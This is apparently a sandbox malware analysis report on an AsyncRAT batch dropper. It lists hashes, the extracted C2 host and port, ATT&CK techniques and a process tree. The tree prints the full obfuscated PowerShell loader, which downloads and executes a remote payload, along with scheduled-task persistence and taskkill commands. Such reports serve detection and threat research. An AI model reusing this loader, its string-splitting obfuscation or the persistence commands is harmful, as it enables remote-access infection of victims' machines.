asyncrat | dec300bc7f59fa5250a44f3300797ec2b2e72006be9a63f567477e95b776f9dc

Analysis

max time kernel
79s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
08-10-2022 08:19

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General

Target

OutPut2.bat
Size

21KB
MD5

c32b1f1bb8eda7a1e148c1cdf014f23b
SHA1

af0cc28285fc57632751f970ba3040bb1af2faa0
SHA256

8a0dc53293a9c974b1884f315f724024713523a6cc95e5bb4abee5fdaf79a9b6
SHA512

f7d04d94d7dbabcf7aff4493745660efd65321c2d3e1c2a5c2fea4d02ecbcf90d77e322ef13d257ae263aadbd4cab6a4f237b349b8be0e3e30e3e31f6732980e
SSDEEP

96:VMzFOMzFJMzFLMzFeMzFzMzFJMzFTMzFiMzFJMzFLMzFUHQeMzFLMzF2MzFqMzFN:OVqYFQqwxqYgQFYNpdiohUPOzfXwQ9j

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

Default

andojan.ddns.net:6606

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/3092-155-0x0000000000400000-0x0000000000414000-memory.dmp	asyncrat
behavioral2/memory/3092-156-0x000000000040EBAE-mapping.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	4468	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3308 set thread context of 3092	3308	powershell.exe	107

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4252	schtasks.exe
4408	schtasks.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
4024	taskkill.exe
1068	taskkill.exe
1836	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4468	powershell.exe
4468	powershell.exe
3308	powershell.exe
3308	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	4024	taskkill.exe
Token: SeDebugPrivilege	1068	taskkill.exe
Token: SeDebugPrivilege	1836	taskkill.exe
Token: SeDebugPrivilege	3308	powershell.exe
Token: SeDebugPrivilege	3092	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 4548 wrote to memory of 4904	4548	cmd.exe	85
PID 4548 wrote to memory of 4904	4548	cmd.exe	85
PID 4904 wrote to memory of 4468	4904	cmd.exe	86
PID 4904 wrote to memory of 4468	4904	cmd.exe	86
PID 4468 wrote to memory of 4304	4468	powershell.exe	94
PID 4468 wrote to memory of 4304	4468	powershell.exe	94
PID 4304 wrote to memory of 2072	4304	WScript.exe	95
PID 4304 wrote to memory of 2072	4304	WScript.exe	95
PID 2072 wrote to memory of 4252	2072	cmd.exe	97
PID 2072 wrote to memory of 4252	2072	cmd.exe	97
PID 2072 wrote to memory of 4408	2072	cmd.exe	98
PID 2072 wrote to memory of 4408	2072	cmd.exe	98
PID 2072 wrote to memory of 4024	2072	cmd.exe	99
PID 2072 wrote to memory of 4024	2072	cmd.exe	99
PID 2072 wrote to memory of 1068	2072	cmd.exe	100
PID 2072 wrote to memory of 1068	2072	cmd.exe	100
PID 2072 wrote to memory of 1836	2072	cmd.exe	101
PID 2072 wrote to memory of 1836	2072	cmd.exe	101
PID 3752 wrote to memory of 4864	3752	WScript.exe	104
PID 3752 wrote to memory of 4864	3752	WScript.exe	104
PID 4864 wrote to memory of 3308	4864	cmd.exe	106
PID 4864 wrote to memory of 3308	4864	cmd.exe	106
PID 3308 wrote to memory of 3092	3308	powershell.exe	107
PID 3308 wrote to memory of 3092	3308	powershell.exe	107
PID 3308 wrote to memory of 3092	3308	powershell.exe	107
PID 3308 wrote to memory of 3092	3308	powershell.exe	107
PID 3308 wrote to memory of 3092	3308	powershell.exe	107
PID 3308 wrote to memory of 3092	3308	powershell.exe	107
PID 3308 wrote to memory of 3092	3308	powershell.exe	107
PID 3308 wrote to memory of 3092	3308	powershell.exe	107
PID 3308 wrote to memory of 1956	3308	powershell.exe	108
PID 3308 wrote to memory of 1956	3308	powershell.exe	108

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OutPut2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4548
- C:\Windows\system32\cmd.exe
  CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$8525E0FA70EEBAD1324BD331F92908DB43F4249A64E92444DD63FFB4AC9D79089FD1857C1207D14451056FF87436E6431B1BDAE2D5EB382B35171D284CC0DE3BDE282CE8667D74774D7CCCBE132B3968475695626E186D45FB2B7DE09626E90C92966E81='IEX(NEW-OBJECT NET.W';$6B520D490034728F7709E44F116D159A193300F11DFA9F40EA893256FBF7B8886072CD09D5DCE1EC12CA09EDE71F6DDE384A29B313E4EC1F117CC69B6783D14069D437329F1D3F670DAFC9A76335D8E8B7010C1164601FF8CDD713003C4D245B39DBD450='EBCLIENT).DOWNLO';[BYTE[]];$4BF5260129FD327A8CDD2D9584D51B906D8066007252A3DD3B9A592E686CDF38D807A1305E7148C9BCF7E790A099A6272C6E2ACBA6A24333D289B67E1804C21249292A9C2A8703E87F3849D2033262DE904B3736A214EE10D056E178DFDC34D39279C45E='E01A3094C19277D49A6167D38BD16509408894085F963292E52959632654300649B8544BADBC2231987D9E0EB312E3E48EDE884708209E3843D0367D196268933D92623028FF5219F0CACD1372544251A248A5B35A2FA48806557553780AEC30BCD972F9(''https://pbc.kz/wp-admin/bb.jpg'')'.REPLACE('E01A3094C19277D49A6167D38BD16509408894085F963292E52959632654300649B8544BADBC2231987D9E0EB312E3E48EDE884708209E3843D0367D196268933D92623028FF5219F0CACD1372544251A248A5B35A2FA48806557553780AEC30BCD972F9','ADSTRING');[BYTE[]];IEX($8525E0FA70EEBAD1324BD331F92908DB43F4249A64E92444DD63FFB4AC9D79089FD1857C1207D14451056FF87436E6431B1BDAE2D5EB382B35171D284CC0DE3BDE282CE8667D74774D7CCCBE132B3968475695626E186D45FB2B7DE09626E90C92966E81+$6B520D490034728F7709E44F116D159A193300F11DFA9F40EA893256FBF7B8886072CD09D5DCE1EC12CA09EDE71F6DDE384A29B313E4EC1F117CC69B6783D14069D437329F1D3F670DAFC9A76335D8E8B7010C1164601FF8CDD713003C4D245B39DBD450+$4BF5260129FD327A8CDD2D9584D51B906D8066007252A3DD3B9A592E686CDF38D807A1305E7148C9BCF7E790A099A6272C6E2ACBA6A24333D289B67E1804C21249292A9C2A8703E87F3849D2033262DE904B3736A214EE10D056E178DFDC34D39279C45E)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$8525E0FA70EEBAD1324BD331F92908DB43F4249A64E92444DD63FFB4AC9D79089FD1857C1207D14451056FF87436E6431B1BDAE2D5EB382B35171D284CC0DE3BDE282CE8667D74774D7CCCBE132B3968475695626E186D45FB2B7DE09626E90C92966E81='IEX(NEW-OBJECT NET.W';$6B520D490034728F7709E44F116D159A193300F11DFA9F40EA893256FBF7B8886072CD09D5DCE1EC12CA09EDE71F6DDE384A29B313E4EC1F117CC69B6783D14069D437329F1D3F670DAFC9A76335D8E8B7010C1164601FF8CDD713003C4D245B39DBD450='EBCLIENT).DOWNLO';[BYTE[]];$4BF5260129FD327A8CDD2D9584D51B906D8066007252A3DD3B9A592E686CDF38D807A1305E7148C9BCF7E790A099A6272C6E2ACBA6A24333D289B67E1804C21249292A9C2A8703E87F3849D2033262DE904B3736A214EE10D056E178DFDC34D39279C45E='E01A3094C19277D49A6167D38BD16509408894085F963292E52959632654300649B8544BADBC2231987D9E0EB312E3E48EDE884708209E3843D0367D196268933D92623028FF5219F0CACD1372544251A248A5B35A2FA48806557553780AEC30BCD972F9(''https://pbc.kz/wp-admin/bb.jpg'')'.REPLACE('E01A3094C19277D49A6167D38BD16509408894085F963292E52959632654300649B8544BADBC2231987D9E0EB312E3E48EDE884708209E3843D0367D196268933D92623028FF5219F0CACD1372544251A248A5B35A2FA48806557553780AEC30BCD972F9','ADSTRING');[BYTE[]];IEX($8525E0FA70EEBAD1324BD331F92908DB43F4249A64E92444DD63FFB4AC9D79089FD1857C1207D14451056FF87436E6431B1BDAE2D5EB382B35171D284CC0DE3BDE282CE8667D74774D7CCCBE132B3968475695626E186D45FB2B7DE09626E90C92966E81+$6B520D490034728F7709E44F116D159A193300F11DFA9F40EA893256FBF7B8886072CD09D5DCE1EC12CA09EDE71F6DDE384A29B313E4EC1F117CC69B6783D14069D437329F1D3F670DAFC9A76335D8E8B7010C1164601FF8CDD713003C4D245B39DBD450+$4BF5260129FD327A8CDD2D9584D51B906D8066007252A3DD3B9A592E686CDF38D807A1305E7148C9BCF7E790A099A6272C6E2ACBA6A24333D289B67E1804C21249292A9C2A8703E87F3849D2033262DE904B3736A214EE10D056E178DFDC34D39279C45E)
    3⤵
    - Blocklisted process makes network request
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\ProgramData\App\xx.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4304
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\ProgramData\App\xx.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2072
      - C:\Windows\system32\schtasks.exe
        
        schtasks.exe /create /tn App /sc minute /mo 5 /tr "C:\ProgramData\App\cAppc.vbs"
        6⤵
        Creates scheduled task(s)
        
        PID:4252
      - C:\Windows\system32\schtasks.exe
        
        schtasks.exe /create /tn det /sc minute /mo 1 /tr "C:\ProgramData\App\cAppc.vbs"
        6⤵
        Creates scheduled task(s)
        
        PID:4408
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM schtasks.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4024
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM powershell.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1068
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM cmd.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1836

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\App\cAppc.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\App\cAppc.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\App\App.PS1
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3308
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3092
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /delete /tn det /f
      4⤵
      PID:1956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\App\App.PS1

Filesize
264KB

MD5
b385ec653fef60833ca284dcfff71bff

SHA1
612981ecf896a7ef09496894d8059f6a9570cf2a

SHA256
76a4b8b505e22defbbd1ba2b577bafe4c4311d2d329f3d29cf3e804a7dd191e8

SHA512
00f9155acd9aa8fb82c051fb4a27ee5e5b35229f69e0a20525dbcd85c2bf74025b7cc5608e1680683c4959ebfb4ad90811e006bed63e66acd6f1755005c9ba81

Download Submit
C:\ProgramData\App\cAppc.bat

Filesize
81B

MD5
6d2d36c3cc7bea993801e5febf7db1c8

SHA1
962ca57c247334f79d40e55aa30612c5dfe96c12

SHA256
83c47147832482038f4ac9867d5b16ccb78640d9b39d0860805b25db86609a68

SHA512
751d5f167617c427697343895988e5b036eff7ee8c358ba35d764378a928b813ee798b5c2e0f67a8dac4622fd5c61708ab0823f9f1498e7d07db4bfe9f466c5d

Download Submit
C:\ProgramData\App\cAppc.vbs

Filesize
5KB

MD5
5392a92ca835d8812a79a1ee6dac0892

SHA1
cb56f654f054542c538f492c4d437d65e4f9bba7

SHA256
4ab24fc3a3b34b6b7b57d5fbffba6831ed4c7a9c5c31bfd97aeb603d6bd5f2c5

SHA512
02175ebd71040d878818dadb2dda855ddc9a43b1dcd625c1943bedc09b3cba48e4debd7b2401025bc992c0ca38dc96e3f2746fe1518808290c2b07132470829d

Download Submit
C:\ProgramData\App\xx.bat

Filesize
260B

MD5
15b09a88be68cc160232d8766f7e3be7

SHA1
b3468aaafd099c639405574b719a201b8df00b02

SHA256
d7128567b26c84039b6fd667ab0d1a443dbbdf15e0550a26e015cbab95979ae2

SHA512
0cd81076a2242363bd692b12287ac31e35332b272bd1ded78d9dbd55cee3c8947cce3f45cc4b24bb6c303032d2dfb6efe87edff49fa242b4013e56eaa1cd0460

Download Submit
C:\ProgramData\App\xx.vbs

Filesize
4KB

MD5
1de9b452f5231a8281209d61a101bcb5

SHA1
27ea6c5470a58226b7a1ab8986d3d0bec87ae3eb

SHA256
0920a4adad558df5820ab49ab8566d9dbea771da520a754c2652fa5548852f64

SHA512
e22f70de118f0b6b53e1277ee1c07f30e9d7356db36d858025725b1b0ee2cd677ac926fcb5587243fb342ef7fcff498a68eb6d8ebef3497b5c450468f0d7c4ec

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
41d515d5c13eee8dac49179444a89124

SHA1
15381e59e572585c54d3cc5e3f061131e5d98673

SHA256
767db2d9cc84af3c573adfc4345b42c646091926fc42eb106d1fe7cfb976b49b

SHA512
f1caab2d5acc7ef9a41685788c009a6bb7af1423c20fd652ab858ec64405a6158a6de0e9ee09c519d44317197864c56620556ddba9e967b926095b1e45795c43

Download Submit
memory/3092-155-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/3092-161-0x0000000005DC0000-0x0000000005E26000-memory.dmp

Filesize
408KB

Download
memory/3092-160-0x0000000006370000-0x0000000006914000-memory.dmp

Filesize
5.6MB

Download
memory/3092-159-0x0000000005D20000-0x0000000005DBC000-memory.dmp

Filesize
624KB

Download
memory/3308-154-0x00007FFECEDC0000-0x00007FFECF881000-memory.dmp

Filesize
10.8MB

Download
memory/3308-158-0x00007FFECEDC0000-0x00007FFECF881000-memory.dmp

Filesize
10.8MB

Download
memory/4468-135-0x00007FFECEBA0000-0x00007FFECF661000-memory.dmp

Filesize
10.8MB

Download
memory/4468-134-0x000002143E9C0000-0x000002143E9E2000-memory.dmp

Filesize
136KB

Download
memory/4468-136-0x00007FFECEBA0000-0x00007FFECF661000-memory.dmp

Filesize
10.8MB

Download
memory/4468-139-0x00007FFECEBA0000-0x00007FFECF661000-memory.dmp

Filesize
10.8MB

Download